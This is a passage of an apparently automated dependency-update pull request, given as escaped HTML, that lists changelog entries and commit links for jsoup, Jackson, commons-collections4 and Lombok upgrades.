href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.22.1 (2026-Jan-01)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for using the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors (e.g. \u003ccode\u003e[attr~=regex]\u003c/code\u003e, \u003ccode\u003e:matches(regex)\u003c/code\u003e), which ensures linear-time performance for regex evaluation. This allows safer handling of arbitrary user-supplied query regexes. To enable, add the \u003ccode\u003ecom.google.re2j\u003c/code\u003e dependency to your classpath, e.g.:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e  \u0026lt;dependency\u0026gt;\n    \u0026lt;groupId\u0026gt;com.google.re2j\u0026lt;/groupId\u0026gt;\n    \u0026lt;artifactId\u0026gt;re2j\u0026lt;/artifactId\u0026gt;\n    \u0026lt;version\u0026gt;1.8\u0026lt;/version\u0026gt;\n  \u0026lt;/dependency\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e(If you already have that dependency in your classpath, but you want to keep using the Java regex engine, you can disable re2j via \u003ccode\u003eSystem.setProperty(\u0026quot;jsoup.useRe2j\u0026quot;, \u0026quot;false\u0026quot;)\u003c/code\u003e.) You can confirm that the re2j engine has been enabled correctly by calling \u003ccode\u003eorg.jsoup.helper.Regex.usingRe2j()\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2407\"\u003e#2407\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded an instance method \u003ccode\u003eParser#unescape(String, boolean)\u003c/code\u003e that unescapes HTML entities using the parser's configuration (e.g. to support error tracking), complementing the existing static utility \u003ccode\u003eParser.unescapeEntities(String, boolean)\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2396\"\u003e#2396\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded a configurable maximum parser depth (to limit the number of open elements on stack) to both HTML and XML parsers. The HTML parser now defaults to a depth of 512 to match browser behavior, and protect against unbounded stack growth, while the XML parser keeps unlimited depth by default, but can opt into a limit via \u003ccode\u003eorg.jsoup.parser.Parser#setMaxDepth\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2421\"\u003e#2421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBuild: added CI coverage for JDK 25 \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2403\"\u003e#2403\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBuild: added a CI fuzzer for contextual fragment parsing (in addition to existing full body HTML and XML fuzzers). [oss-fuzz \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/14041\"\u003e#14041\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/google/oss-fuzz/pull/14041\"\u003egoogle/oss-fuzz#14041\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSet a removal schedule of jsoup 1.24.1 for previously deprecated APIs.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePreviously cached child \u003ccode\u003eElements\u003c/code\u003e of an \u003ccode\u003eElement\u003c/code\u003e were not correctly invalidated in \u003ccode\u003eNode#replaceWith(Node)\u003c/code\u003e, which could lead to incorrect results when subsequently calling \u003ccode\u003eElement#children()\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2391\"\u003e#2391\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAttribute selector values are now compared literally without trimming. Previously, jsoup trimmed whitespace from selector values and from element attribute values, which could cause mismatches with browser behavior (e.g. \u003ccode\u003e[attr=\u0026quot; foo \u0026quot;]\u003c/code\u003e). Now matches align with the CSS specification and browser engines. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2380\"\u003e#2380\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen using the JDK HttpClient, any system default proxy (\u003ccode\u003eProxySelector.getDefault()\u003c/code\u003e) was ignored. Now, the system proxy is used if a per-request proxy is not set. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2388\"\u003e#2388\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2390\"\u003e#2390\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003eValidationException\u003c/code\u003e could be thrown in the adoption agency algorithm with particularly broken input. Now logged as a parse error. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2393\"\u003e#2393\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNull characters in the HTML body were not consistently removed; and in foreign content were not correctly replaced. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2395\"\u003e#2395\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAn \u003ccode\u003eIndexOutOfBoundsException\u003c/code\u003e could be thrown when parsing a body fragment with crafted input. Now logged as a parse error. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2397\"\u003e#2397\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2406\"\u003e#2406\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen using StructuralEvaluators (e.g., a \u003ccode\u003eparent child\u003c/code\u003e selector) across many retained threads, their memoized results could also be retained, increasing memory use. These results are now cleared immediately after use, reducing overall memory consumption. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2411\"\u003e#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCloning a \u003ccode\u003eParser\u003c/code\u003e now preserves any custom \u003ccode\u003eTagSet\u003c/code\u003e applied to the parser. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2422\"\u003e#2422\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2423\"\u003e#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/ac28afe6e5bf96d39fd17c3e0a797a7585e1958c\"\u003e\u003ccode\u003eac28afe\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jsoup-1.22.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/52f2cd3ea2004b9be0e0a09021bac7ce2daf8ae4\"\u003e\u003ccode\u003e52f2cd3\u003c/code\u003e\u003c/a\u003e Improve entity example in changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/cf6ffe08616f8633ee6113b91f9d6a07acef38c6\"\u003e\u003ccode\u003ecf6ffe0\u003c/code\u003e\u003c/a\u003e Add Tag#TextBoundary option; bring TagSet to spec (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2493\"\u003e#2493\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/2be739c1c659a1592c402a5441f8be6f7881280c\"\u003e\u003ccode\u003e2be739c\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4 to 4.35.1 (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2492\"\u003e#2492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/45de7cbc215eb3f1189d23eaf57acf6f7b1a5edf\"\u003e\u003ccode\u003e45de7cb\u003c/code\u003e\u003c/a\u003e Migrate integration test server from Jetty to Netty (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2491\"\u003e#2491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/1df14edbfc327a1ef309142ef5e8ed68324de320\"\u003e\u003ccode\u003e1df14ed\u003c/code\u003e\u003c/a\u003e Preserve XML doctype internal subset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/06fa52d15a22003b67dfdb3f8220cc025d493a43\"\u003e\u003ccode\u003e06fa52d\u003c/code\u003e\u003c/a\u003e Adding Contribution Guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/d4a8941820c037327538c30a8723ec715b67b6f6\"\u003e\u003ccode\u003ed4a8941\u003c/code\u003e\u003c/a\u003e Simplify the test; doesn't need the buffer\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/823709f519995492d9a092fe315af389616e58f8\"\u003e\u003ccode\u003e823709f\u003c/code\u003e\u003c/a\u003e Don't reuse a fully read sniffed doc for StreamParser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/e1b0df5fec53710214cd700de38d82e1ca92bd79\"\u003e\u003ccode\u003ee1b0df5\u003c/code\u003e\u003c/a\u003e NodeFilter javadoc tweak\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jhy/jsoup/compare/jsoup-1.15.3...jsoup-1.22.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/d763562443cc9d6e224a6265ca3710195c813cf5\"\u003e\u003ccode\u003ed763562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/e5c69fe5f7be957490d52dae70787e7a8138ddda\"\u003e\u003ccode\u003ee5c69fe\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ba6a369eaa19a71b2b63fe40b1e9d317c0eb522\"\u003e\u003ccode\u003e0ba6a36\u003c/code\u003e\u003c/a\u003e Bump version after release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/b106011025f6447695e21ddbb9fd3952d284d10c\"\u003e\u003ccode\u003eb106011\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/18a7fe416a0bf666f6c2ddc6da883bc96382dd2d\"\u003e\u003ccode\u003e18a7fe4\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/503a14ffa4a74ad56a02fd25f0cd997df163c647\"\u003e\u003ccode\u003e503a14f\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/ab95bc0056119f08ef721849be5e5f2c256b82cd\"\u003e\u003ccode\u003eab95bc0\u003c/code\u003e\u003c/a\u003e ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0a4b8dedee08e159fddca5eb8e812c1ad881017a\"\u003e\u003ccode\u003e0a4b8de\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/719a42f3676ab3c10e3cd057966807b2206151e7\"\u003e\u003ccode\u003e719a42f\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/92488484b64bc348c43e5a7ff910d93c2f9e9b9c\"\u003e\u003ccode\u003e9248848\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.15.0...jackson-core-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-xml` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c702ae0cd9870cb7415fb09d9b22412db78b972\"\u003e\u003ccode\u003e4c702ae\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e6a9a509481c03c4cdd2e4bc7745a076bbf06942\"\u003e\u003ccode\u003ee6a9a50\u003c/code\u003e\u003c/a\u003e Prep for 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/80735f20d588dc859ff2bf9427f0d6dfb5c71a7e\"\u003e\u003ccode\u003e80735f2\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5e5f3faa1232ad49c0a0ff0a3e7bd96cc659f850\"\u003e\u003ccode\u003e5e5f3fa\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c482a6404e6c076130ea2fa3d06e0809f20971d\"\u003e\u003ccode\u003e4c482a6\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e29dfd957b47ec3982d20c4a97aa608516ce5ee9\"\u003e\u003ccode\u003ee29dfd9\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.21.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5d81f46097903e1e88b90ef06515d559caf1ef68\"\u003e\u003ccode\u003e5d81f46\u003c/code\u003e\u003c/a\u003e Prep for 2.21.4 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5db34fe1003e7f6bed78d5e7dc43c75842895f4c\"\u003e\u003ccode\u003e5db34fe\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/a12b8dfd547b08f808b4189746e00bb203ab08c1\"\u003e\u003ccode\u003ea12b8df\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/7ae7fdbb007ac18c44bddb7515becc1789830db5\"\u003e\u003ccode\u003e7ae7fdb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/compare/jackson-dataformat-xml-2.15.0...jackson-dataformat-xml-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-annotations` from 2.15.0 to 2.22.0\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/d763562443cc9d6e224a6265ca3710195c813cf5\"\u003e\u003ccode\u003ed763562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/e5c69fe5f7be957490d52dae70787e7a8138ddda\"\u003e\u003ccode\u003ee5c69fe\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ba6a369eaa19a71b2b63fe40b1e9d317c0eb522\"\u003e\u003ccode\u003e0ba6a36\u003c/code\u003e\u003c/a\u003e Bump version after release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/b106011025f6447695e21ddbb9fd3952d284d10c\"\u003e\u003ccode\u003eb106011\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/18a7fe416a0bf666f6c2ddc6da883bc96382dd2d\"\u003e\u003ccode\u003e18a7fe4\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/503a14ffa4a74ad56a02fd25f0cd997df163c647\"\u003e\u003ccode\u003e503a14f\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/ab95bc0056119f08ef721849be5e5f2c256b82cd\"\u003e\u003ccode\u003eab95bc0\u003c/code\u003e\u003c/a\u003e ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0a4b8dedee08e159fddca5eb8e812c1ad881017a\"\u003e\u003ccode\u003e0a4b8de\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/719a42f3676ab3c10e3cd057966807b2206151e7\"\u003e\u003ccode\u003e719a42f\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/92488484b64bc348c43e5a7ff910d93c2f9e9b9c\"\u003e\u003ccode\u003e9248848\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.15.0...jackson-core-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-xml` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c702ae0cd9870cb7415fb09d9b22412db78b972\"\u003e\u003ccode\u003e4c702ae\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e6a9a509481c03c4cdd2e4bc7745a076bbf06942\"\u003e\u003ccode\u003ee6a9a50\u003c/code\u003e\u003c/a\u003e Prep for 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/80735f20d588dc859ff2bf9427f0d6dfb5c71a7e\"\u003e\u003ccode\u003e80735f2\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5e5f3faa1232ad49c0a0ff0a3e7bd96cc659f850\"\u003e\u003ccode\u003e5e5f3fa\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c482a6404e6c076130ea2fa3d06e0809f20971d\"\u003e\u003ccode\u003e4c482a6\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e29dfd957b47ec3982d20c4a97aa608516ce5ee9\"\u003e\u003ccode\u003ee29dfd9\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.21.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5d81f46097903e1e88b90ef06515d559caf1ef68\"\u003e\u003ccode\u003e5d81f46\u003c/code\u003e\u003c/a\u003e Prep for 2.21.4 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5db34fe1003e7f6bed78d5e7dc43c75842895f4c\"\u003e\u003ccode\u003e5db34fe\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/a12b8dfd547b08f808b4189746e00bb203ab08c1\"\u003e\u003ccode\u003ea12b8df\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/7ae7fdbb007ac18c44bddb7515becc1789830db5\"\u003e\u003ccode\u003e7ae7fdb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/compare/jackson-dataformat-xml-2.15.0...jackson-dataformat-xml-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-annotations` from 2.15.0 to 2.22.0\n\nUpdates `org.apache.commons:commons-collections4` from 4.4 to 4.5.0\n\nUpdates `org.projectlombok:lombok` from 1.18.20 to 1.18.46\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/projectlombok/lombok/blob/master/doc/changelog.markdown\"\u003eorg.projectlombok:lombok's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch3\u003ev1.18.46 (April 22nd, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: JDK26 support added \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4019\"\u003e#4019\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePLATFORM: Spring Tools Suite 5 supported \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3985\"\u003e#3985\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e no longer stops generating \u003ccode\u003e@JsonProperty\u003c/code\u003e once an explicit \u003ccode\u003e@JsonIgnore\u003c/code\u003e annotations is encountered \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4022\"\u003e#4022\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: In eclipse, mixing \u003ccode\u003e@Jacksonized\u003c/code\u003e and \u003ccode\u003efluent = true\u003c/code\u003e no longer causes the error \u003ccode\u003ecom.fasterxml.jackson.annotation.JsonProperty is not a repeatable annotation interface\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3934\"\u003e#3934\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: Some finishing touches for v1.18.44's support of Jackson3 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/4004\"\u003e#4004\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.44 (March 11th, 2026)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFEATURE: \u003ccode\u003e@Jacksonized\u003c/code\u003e now supports both Jackson2 and Jackson3; you'll get a warning until you configure which one (or even both!) you want lombok to generate. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3950\"\u003e#3950\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: On JDK25, \u003ccode\u003eval\u003c/code\u003e and \u003ccode\u003e@ExtensionMethod\u003c/code\u003e could sometimes cause erroneous errors (in that you see errors but compilation succeeds anyway) using javac. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3947\"\u003e#3947\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBUGFIX: \u003ccode\u003e@Jacksonized\u003c/code\u003e + fields marked \u003ccode\u003etransient\u003c/code\u003e would result in those transient fields being serialised which is surprising (and thus undesired) behaviour. \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3936\"\u003e#3936\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.42 (September 18th, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFEATURE: All the various \u003ccode\u003e@Log\u003c/code\u003e annotations now allow you to change their access level (they still default to \u003ccode\u003eprivate\u003c/code\u003e). \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/2280\"\u003e#2280\u003c/a\u003e. Thanks to new contributor Liam Pace!\u003c/li\u003e\n\u003cli\u003eBUGFIX: Javadoc parsing was broken in Netbeans and ErrorProne for JDK25 \u003ca href=\"https://redirect.github.com/projectlombok/lombok/issues/3940\"\u003e#3940\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ev1.18.40 (September 4th, 2025)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePLATFORM: 